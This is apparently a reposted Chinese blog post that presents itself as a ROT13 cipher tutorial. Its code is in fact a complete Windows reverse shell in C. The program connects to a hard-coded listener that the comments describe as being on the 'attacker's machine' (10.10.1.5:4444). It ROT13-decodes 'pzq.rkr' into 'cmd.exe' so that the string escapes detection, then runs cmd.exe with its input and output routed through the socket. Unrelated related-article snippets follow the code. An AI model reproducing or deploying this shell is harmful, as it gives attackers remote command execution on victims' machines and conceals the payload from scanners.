【ROT13算法】简单移位和替换

news/2025/1/6 3:57:49/文章来源:https://www.cnblogs.com/o-O-oO/p/18651962

字母替换,旋转13个位置,字母共26个,因此加密算法也是解密算法

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>#pragma comment(lib, "ws2_32.lib")WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;void rot13Transform(char *str) {
while (*str) {if ((*str >= 'A' && *str <= 'Z')) {*str = ((*str - 'A' + 13) % 26) + 'A';} elseif ((*str >= 'a' && *str <= 'z')) {*str = ((*str - 'a' + 13) % 26) + 'a';}str++;}
}void rot13Encrypt(char *str) {
rot13Transform(str);
}void rot13Decrypt(char *str) {
// ROT13 encryption and decryption are the same
rot13Transform(str);
}int main(int argc, char* argv[]) {
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);// create socketwSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);hax.sin_family = AF_INET;hax.sin_port = htons(port);hax.sin_addr.s_addr = inet_addr(ip);// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);memset(&sui, 0, sizeof(sui));sui.cb = sizeof(sui);sui.dwFlags = STARTF_USESTDHANDLES;// String to be decrypted via ROT13
char command[] = "pzq.rkr";// Decrypt the string using ROT13
rot13Decrypt(command);sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}

cmd.exe变成pzq.rkr

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/863875.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HomeAssistant安装教程(docker篇)

HomeAssistant安装教程(docker篇)23年流感突然想起当年的一篇文章(下) 部署homeassitant下载docker镜像javascriptdocker pull homeassistant/home-assistantsJavaScript Copy 创建并运行容器javascriptdocker run -d --name="hass" -e "TZ=Asia/Shanghai&q…

周选择器 vxe-date-picker 自定义一周开始日

周选择器 vxe-date-picker 自定义一周开始日 官网:https://vxeui.com 周一开始<template><div><vxe-date-picker v-model="val1" placeholder="周选择,周一开始" type="week" :start-day="1"></vxe-date-picker…

vue 周选择器 vxe-date-picker 自定义左侧快捷选择模板

vue 周选择器 vxe-date-picker 自定义左侧快捷选择插槽模板 官网:https://vxeui.com<template><div><vxe-date-picker ref="datePickerRef" v-model="val1" type="week"><template #left><vxe-button-group vertica…

TLS协议原理一

1. TLS协议概述 TLS协议包含多个子协议:应用数据协议(Application Data Protocol): 用于密文传输 告警协议(Alert Protocol):在TLS连接中,如果发生了错误或异常情况,TLS协议会使用Alert Protocol发送警报信息,以通知对方发生了什么问题。 握手协议(Handshake Protocol):用…

把微软bing的背景图自动更换为群晖DSM7.X登录界面

把微软bing的背景图自动更换为群晖DSM7.X登录界面 1、打开控制面板,找到“登录门户”,在DSM标签点编辑:2、在背景处打勾,保存;3、点控制面板,任务计划,新增,计划的任务,用户定义的脚本;4、任务名称写BingWallpaper,用户账号要改成root,然后在“已启动处打勾;5、在…

C++ 算法库(一)

1. OSQP‌OSQP(Operator Splitting Quadratic Programming)是一个用于求解凸二次规划(Convex Quadratic Programming)问题的求解器‌。它基于“算子分裂”的优化方法,将二次规划问题分解为一系列小的子问题,并通过迭代的方式逐步求解。osqp-eigen是对OSQP库的Eigen接口封…

BUGAWAY算法小抄-差分数组

BUGAWAY算法小抄-差分数组 什么是差分数组? 差分数组的思想是通过对原始数组进行处理,得到一个新的数组(差分数组),利用该数组来高效地进行区间更新操作。具体来说,差分数组记录的是相邻元素之间的差值,而不是原始数组的元素本身。 差分数组的原理 1. 差分数组的构造: …

emby美化后续折腾

GitHub - Nolovenodie/emby-crx: Emby 增强/美化 插件 (适用于 Chrome 内核浏览器 / EmbyServer)emby美化尝试皮蛋熊 2023-10-18/1 评论/2 点赞/6151 阅读/8117 字10/18温馨提示: 本文最后更新于 2023-10-18,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到…

特殊数据类型的深度分析:JSON、数组和 HSTORE 的实用价值

title: 特殊数据类型的深度分析:JSON、数组和 HSTORE 的实用价值 date: 2025/1/4 updated: 2025/1/4 author: cmdragon excerpt: 随着数据管理需求的多样化,许多现代数据库系统开始支持特殊数据类型,以满足更多复杂应用场景的需求。在 PostgreSQL 中,JSON、数组和 HSTORE…

[.NET] Aspire 9 新特性及优化

随着 .NET 9 的发布,.NET Aspire 迎来了一系列重大更新和改进。这些更新不仅让 Aspire 变得更加成熟,也使其终于具备了投入生产环境的条件。本文将详细介绍 Aspire 的最新特性和改进。🚀Aspire 9 新特性及优化 摘要 随着 .NET 9 的发布,.NET Aspire 迎来了一系列重大更新和…

MapReduce--国家气候数据中心

NCDC:https://www.ncei.noaa.gov/中国气象数据网:https://data.cma.cn/

ABB IRB6640机械手减速机维修步骤

ABB IRB6640机械手减速机维修涉及多个步骤和注意事项,以下是一些关键的abb机械臂维修步骤和建议:一、故障排查检查故障代码:首先,通过查看机械手的故障显示屏或控制柜的显示屏,记录显示的错误代码。这些代码通常能指示减速机或其他部件的故障类型。检查电源和电缆:确保机…